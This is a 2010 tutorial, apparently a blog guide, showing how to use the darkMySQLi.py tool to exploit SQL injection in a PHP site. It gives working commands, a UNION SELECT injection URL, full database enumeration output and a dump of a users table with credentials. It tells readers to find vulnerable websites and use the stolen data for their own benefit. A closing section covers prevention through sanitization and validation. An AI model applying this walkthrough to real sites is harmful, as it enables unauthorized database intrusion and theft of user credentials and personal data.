MySQL Injection using darkMySQLi.py

11-03-2010

Author: Mohd Izhar Ali
Email: johncrackernet@yahoo.com
Website: http://johncrackernet.blogspot.com

Table of Contents

Chapter 1: Introduction to SQL Injection

SQL injection is one of the most common vulnerability in web applications today. It is one of the web hacking techniques that are very popular and dangerous because successful SQL injection could allow hackers to compromise your servers, networks, personal computers and confidential data. According to UK Security Breach Investigations Report released by 7Safe earlier January 2010, a whopping 60 percents of all computer incidents examined involved SQL injection attacks. Based on their study, 40 percents of all attacks utilized SQL injection as the source of the compromise and 20 percents using SQL injection combined with other vulnerability such as malware. From CWE/SANS TOP 25 Most Dangerous Programming Errors, SQL injection ranking is number 2 out of 25 errors.

What is SQL Injection? SQL injection is an attack injection technique that exploits vulnerability in SQL query via user's input data from client to the database layer of an application. This vulnerability exists in custom Web application that lacks proper input validation, fails to use parameterized SQL statements, and/or creates dynamic SQL with user-supplied data. It is occurred when user input is incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed.

Normally, hackers will test SQL injection by typing malformed SQL commands into front-end Web application input boxes that are tied to database accounts in order to trick the database into offering more access to information than the developer intended. A successful SQL injection exploit can read sensitive data from the database, modify database data, execute administration operations on the database, and recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. This attack allow attackers to spoof identity, tamper with existing data, cause repudiation issues such as voiding transactions or changing balances, destroy the data and become administrators of the database server.

Chapter 2: Multi Purpose MySQL Injection Tool-darkMySQLi.py

Security testing of web applications against SQL Injection is very simple and easy to perform it compare to a few years ago. In the last few years, when we asked web developers or other IT staffs about the phrase "SQL injection" or want to discuss with them about strategy to prevent SQL injection, they cannot answered and blur because of limited understanding about this security flaw.

Nowadays, many people have heard and understand about SQL injection attacks and are aware of its impact to servers or computers. In this type of attack, hackers manipulate a web application in an attempt to inject their own SQL commands into those issued by the database. To test SQL injection, there are two methods, manual testing and automated testing. Manual SQL injection testing actually needs you to run some basic tests to evaluate your web application for SQL injection vulnerabilities using a web browser. Manual testing is a time consuming because we need to spend more hours to perform test on web application. Automated SQL injection testing uses automated web vulnerability scanner to perform testing. Now, a lot of SQL injection tools available in the Internet. These exploitation tools work for different kind of database (MySQL, MSSQL or Oracle) and using different techniques such as error based sql injection, inband or union based sql injection and blind sql injection.

I would like to share with you about **darkMySQLi.py**, a Multi Purpose MySQL Injection tool that developed by rsauron (rsauron@gmail.com), one of darkc0deCrews (www.darkc0de.com). This Python script allows you to automate 80% of the search and exploitation of SQL injection. I'm using this tool since Feb 2009 and I can say that this tool will help you and reduce time to find Blind SQL or SQL injection during web application penetration testing. This tool is very useful especially for IT security consultant or people who are involved in penetration testing because it will help you to save your time for finding MySQL vulnerability.

Today, I will show you how to use **darkMySQLi.py** until you successfully compromised MySQL database server. If you used Google and search for "**darkMySQLi.py**" word, you will see a lot of articles and links about this tool. For more explanations, I hope you can refer to that articles and can download tool from there. When you are using this tool, it is very easy to find MySQL vulnerability and it only takes 2-3 minutes to finish your hands-on for web assessment. So, you will have much time to verify the findings and do research about the solutions to prevent SQL Injection vulnerability.

Chapter 3: Using darkMySQLi.py

Before you start using **darkMySQLi.py** tool, you need to find a vulnerable website or link where you can inject malicious code or character to the vulnerable parameter on the website. You must know what makes a site vulnerable to SQL injection before you can find and inject vulnerable sites. The most reason that a website is vulnerable to SQL injection because of the programmer or owner did not use the built in MySQL feature 'mysql_real_escape_string()'. This feature will act as a function to sanitize or remove special characters from an SQL query. The most common impact is simple username or password exploit by using ' or '1'='1.

For the example below, you can see there is a vulnerability in the ***id*** parameter where you can insert character string such as ***+, - ,",', <>, %,;,(), &.*** This vulnerability happened because the programmer or webmaster of the server did not sanitize user input and filter out the code properly. When you put or insert character, number and code to the vulnerable parameter, you will see MySQL syntax errors occurred.

Targeted URL: http://192.168.2.10/news/popup_news.php?id="22

For the targeted URL above, when I try to input this " at the character string ***22*** after ***id*** parameter at the ***popup_news.php*** page, it shows this MySQL syntax error:

Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /home/johncrackernet/www/htdocs/functions.php on line 114.

From the syntax error, you can see MySQL vulnerability occurred at character string ***22*** after ***id*** parameter where it allows you to perform SQL injection attack to this website.

Step 1: Finding number of columns in MySQL Database

To perform SQL injection attack, I used **darkMySQLi.py** to attack the targeted URL above. You must understand and know how to use **darkMySQLi.py** tool. If you do not understand how to use it, you can refer to the Help menu that built-in together with this tool (Use ***darkMySQLi.py –h*** command to see Help menu)

```
E:\Izhar\Tool\SQL Injection\DarkCode Exploit>darkMySQLi.py -h
    darkMySQLi v1.6    rsauron@gmail.com
                       forum.darkc0de.com
Usage: ./darkMySQLi.py [options]
Options:
-h, --help                 shows this help message and exits
-d, --debug                display URL debug information
Target:
-u URL,                    --url=URL  Target url
Methodology:
-b, --blind                Use blind methodology (req: --string)
-s, --string               String to match in page when the query is valid
Method:
--method=PUT               Select to use PUT method ** NOT WORKING
Modes:
--dbs                      Enumerate databases MySQL v5+
--schema                   Enumerate Information_schema (req: -D,opt: -T) MySQL v5
--full                     Enumerate all we can        MySQL v5+
--info                     MySQL Server configuration   MySQL v4+
--fuzz                     Fuzz Tables & Columns Names  MySQL v4+
--findcol                  Find Column length          MySQL v4+
--dump                     Dump database table entries (req:-T,opt:-D,-C,--start  MySQL v4+
--crack=HASH               Crack MySQL Hashs (req: --wordlist)
--wordlist=LIS.TXT         Wordlist to be used for cracking
Define:
-D DB                      database to enumerate
-T TBL                     database table to enumerate
-C COL                     database table column to enumerate
Optional:
--ssl                      To use SSL
--end                      To use   +  and -- for the URLS --end "--" (Default)
                           To use /**/ and /* for the URLS --end "/*"
--rowdisp                  Do not display row # when dumping
--start=ROW                Row number to begin dumping at
--where=COL,VALUE          Use a where clause in your dump
--orderby=COL      Use a orderby clause in your dump
--cookie=FILE.TXT          Use a Mozilla cookie file
--proxy=PROXY              Use a HTTP proxy to connect to the target url
--output=FILE.TXT          Output results of tool to this file
```

From the targeted URL that I have tested above, I found vulnerability at character string ***22*** after parameter ***id*** that will allow us to do SQL injection. So, I used this vulnerable page (*URL: http://192.168.2.10/news/popup_news.php?id=22)* to test with **darkMySQLi.py** tool. Use this command to find the number of columns in the database: ***./darkMySQLi.py –u "URL" –findcol***

```
E:\Izhar\Tool\SQL Injection\DarkCode Exploit>darkMySQLi.py –u
"http://192.168.2.10/news/popup_news.php?id=22" --findcol
|--------------------------------------------------|
| rsauron@gmail.com              v1.6   |
|  1/2009      darkMySQLi.py            |
|Multi Purpose MySQL Injection Tool|
| Usage: darkMySQLi.py [options]      |
|          -h help      darkc0de.com      |
|--------------------------------------------------|
[+] URL: http://192.168.2.10/news/popup_news.php?id=22
[+] 06:28:14
[+] Evasion: + --
[+] Cookie: None
[+] SSL: No
[+] Agent: Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)
[+] Building Proxy List...
      Proxy: 192.168.2.2:8080 - Success
[+] Proxy List Complete
[+] Attempting To find the number of columns...
[+] Testing: 1, 2,3,4,5,6,7,8,9,10,
[+] Column Length is: 10
[+] Found null column at column #: 3,4,7,8,

[!] SQLi URL: http://192.168.2.10/news/popup_news.php?id=22+AND+1=2+UNION+SELECT+1,2,3,4,5,6,7,8,9,10--
[!] darkMySQLi URL:
http://192.168.2.10/news/popup_news.php?id=22+AND+1=2+UNION+SELECT+1,2,darkc0de,darkc0de,5,6,darkc0de,
darkc0de,9,10--
[-] 06:28:23
[-] Total URL Requests: 10
[-] Done
Don't forget to check darkMySQLi.log
```

From the testing result above, I found a total of 10 columns for database. But, column number 3, 4, 7 & 8 are null column. From SQL Server perspective, a NULL is not a value, it only means that a value was not provided when the row was created. These null columns will give advantage to the attacker to test SQL injection. The results above show ***SQLi URL*** and ***darkMySQLi URL.*** Based on the Python tool script, ***darkc0de*** function will try to concatenate supplied strings using MySQL CONCAT function, test hash database, generates hex representation of string and other functions. From ***darkMySQLi URL***, we can see this ***darkc0de*** will try to test SQL injection at null columns for column number 3, 4, 7 & 8.

Step 2: Enumerate all information in MySQL Database

In the first step, I already gather the information about the number of columns in database. I found 10 columns in the database and 4 of columns are null columns. These null columns can be exploited using SQL injection technique. From ***darkc0de*** string, this Python tool will try to concatenate all of the information as it can to the null columns by using MySQL CONCAT. In this step, ***darkMySQLi URL*** will be using to enumerate all of the information in database. This ***darkMySQLi URL*** will replace the previous URL that we have tested in the first step.

Use this command to find all of the information that can gather from database:

./darkMySQLi.py –u "darkMySQLi URL" --full

```
E:\Izhar\Tool\SQL Injection\DarkCode Exploit>darkMySQLi.py -u
"http://192.168.2.10/news/popup_news.php?id=22+AND+1=2+UNION+SELECT+1, 2, darkc0de, darkc0de, 5, 6,
darkc0de, darkc0de, 9, 10--" --full

|-------------------------------------------------- |
| rsauron@gmail.com              v1.6   |
| 1/2009     darkMySQLi.py             |
| Multi Purpose MySQLInjection Tool|
| Usage: darkMySQLi.py [options]      |
|          -h help      darkc0de.com       |
|--------------------------------------------------  |

[+] URL:
http://192.168.2.10/news/popup_news.php?id=22+AND+1=2+UNION+SELECT+1,2,darkc0de,darkc0de,5,6,darkc0de,dar
kc0de,9,10
[+] 06:29:13
[+] Evasion: + --
[+] Cookie: None
[+] SSL: No
[+] Agent: Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)
[+] Building Proxy List...
      Proxy: 192.168.2.2:8080 - Success
[+] Proxy List Complete
[+] Gathering MySQL Server Configuration...
      Database: dbtraffic
      User: johncrackernet@www.crackernet.org
      Version: 5.0.45-log
[+] Starting full SQLi information_schema enumeration...
[+] Number of Rows: 270

[Database]: dbtraffic
[Table: Columns]

[1]TRA_REG: id,tra_name,tra_lastname,tra_address,tra_passport,tra_state
[2]TRA_Events: events_id, events_title, events_url, events_desc, events_sched, events_status
```

```
[3]TRA_code: code,item,adl,ingred
[4]banner_ach: id,id_uname,image,impressions,clicks,url
[5]cal_file: id,page_main,filename,code
[6]cal_msg: id,uid,m,d,y,start_time,end_time,title,text,id_text,apprro,website,email
[7]cal_msg_backup: id,uid,m,d,y,start_time,end_time,title,text,id_text,apprro,website,email
[8]cal_name: id,name
[9]cal_users: uid,username,password,fname,lname,userlevel,email
[10]cal_memo: id,memo

[-] 06:35:12
[-] Total URL Requests: 25
[-] Done
```

The results above show this ***darkMySQLi.py*** tool successfully worked because it can enumerate all information in MySQL database such as database name, database version, tables, columns and rows. From the tables and columns that I have gathered, some of data are valuable and confidential. An attacker or hacker normally will look at the valuable data such as usernames, passwords, credit card numbers or Paypal accounts. Attackers will try to dump the data to get details and complete information from the servers or machines that they have compromised.

Step 3: Dumping the data from MySQL Database Table

In this step, I want to dump MySQL database table that contain usernames and passwords because all of these data can be consider as valuable and confidential. From the table, I will try to get username and password using dumping data technique. Use this command to dump all of the information that can gather from database: ***./darkMySQLi.py –u "darkMySQLi URL" - -dump –D "Database name" –T "Table name" –C "Column"***

```
E:\Izhar\Tool\SQL Injection\DarkCode Exploit>darkMySQLi.py –u
"http://192.168.2.10/news/popup_news.php?id=22+AND+1=2+UNION+SELECT+1, 2, dark0de, darkc0de, 5, 6,
darkc0de, darkc0de, 9, 10--" --dump -D dbtraffic -T cal_users -C uid,username,password,fname,lname,userlevel,
email
|--------------------------------------------------|
| rsauron@gmail.com                v1.6   |
|  1/2009      darkMySQLi.py              |
| Multi Purpose MySQL Injection Tool   |
| Usage: darkMySQLi.py [options]         |
|                  -h help       darkc0de.com  |
|--------------------------------------------------|
[+] URL:
http://192.168.2.10/news/popup_news.php?id=22+AND+1=2+UNION+SELECT+1,2,darkc0de,darkc0de,5,6,darkc0de,dar
kc0de,9,10
[+] 07:00:41
[+] Evasion: + --
[+] Cookie: None
[+] SSL: No
[+] Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
[+] Building Proxy List...
      Proxy: 192.168.2.2:8080 - Success
[+] Proxy List Complete
[+] Gathering MySQL Server Configuration...
      Database: dbtraffic
      User: johncrackernet@www.crackernet.org
      Version: 5.0.45-log
[+] Dumping data from database "dbtraffic" Table "cal_users"
[+] and Column(s) ['uid', 'username', 'password', 'fname', 'lname', 'userlevel', 'email']
[+] Number of Rows: 1

[1] 1:admin:password:default:user:2:
[-] 07:00:44
[-] Total URL Requests: 3
[-] Done
```

The results above show that I could gather id, username, password, fullname, email, and userlevel at row number 9 after dumping data from MySQL database. This result will give you valuable information and you can perform another step of attack or doing something that will give benefits to you.

Chapter 4: Conclusion

darkMySQLi.py is a good tool to find bugs, errors or vulnerabilities in MYSQL database. By using this tool, it is very easy to find SQL injection vulnerability at certain vulnerable parameter or string. This tool also perform SQL injection test to the vulnerable website and try to dump data from MySQL database. You can dump data from MySQL database tables and it works nicely. You can gather secret and confidential data such as usernames, passwords, credit card numbers and etc. But, I suggest using this tool in a right way. If you work as IT people, you can use this tool to check vulnerability in your web /database server and try to improve its security based on vulnerability that you found using this tool. This **darkMySQLi.py** is very useful tool especially for IT Security Consultant to reduce time for web penetration testing with the better quality findings.

To prevent SQL injection attacks, the most important actions are data sanitization and validation, which should already be in place. Sanitization usually involves running any submitted data through a function (such as MySQL's mysql_real_escape_string() function) to ensure that any dangerous characters such as " ' ") are not passed to a SQL query in data. Validation is slightly different, in that it attempts to ensure that the data submitted is in the form that is expected. At the most basic level this includes ensuring that e-mail addresses contain an "@" sign, that only digits are supplied when integer data is expected, and that the length of a piece of data submitted is not longer than the maximum expected length. Validation is often carried out in two ways: by blacklisting dangerous or unwanted characters (although hackers can often get around blacklists) and by whitelisting only those characters that are allowed in a given circumstance, which can involve more work on the part of the programmer. Although validation may take place on the client side, hackers can modify or get around this, so it's essential that you also validate all data on the server side as well.

Chapter 5: References

1) SQL Injection
http://en.wikipedia.org/wiki/SQL_injection
2) SQL Injections Top Attack Statistics
http://www.darkreading.com/database_security/security/app-security/showArticle.jhtml?articleID=223100129
3) SQL Injections Cheat Sheet
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
4) Time to Squish SQL Injection
http://www.securityfocus.com/columnists/505
5) SQL Injection: How To Prevent Security Flaws in PHP/MySQL
http://www.learnphponline.com/security/sql-injection-prevention-mysql-php
6) 10 Ways To Prevent or Mitigate SQL Injection Attack
http://www.enterprisenetworkingplanet.com/netsecur/article.php/3866756
7) UK Security Breach Investigation Report
http://7safe.com/breach_report/Breach_report_2010.pdf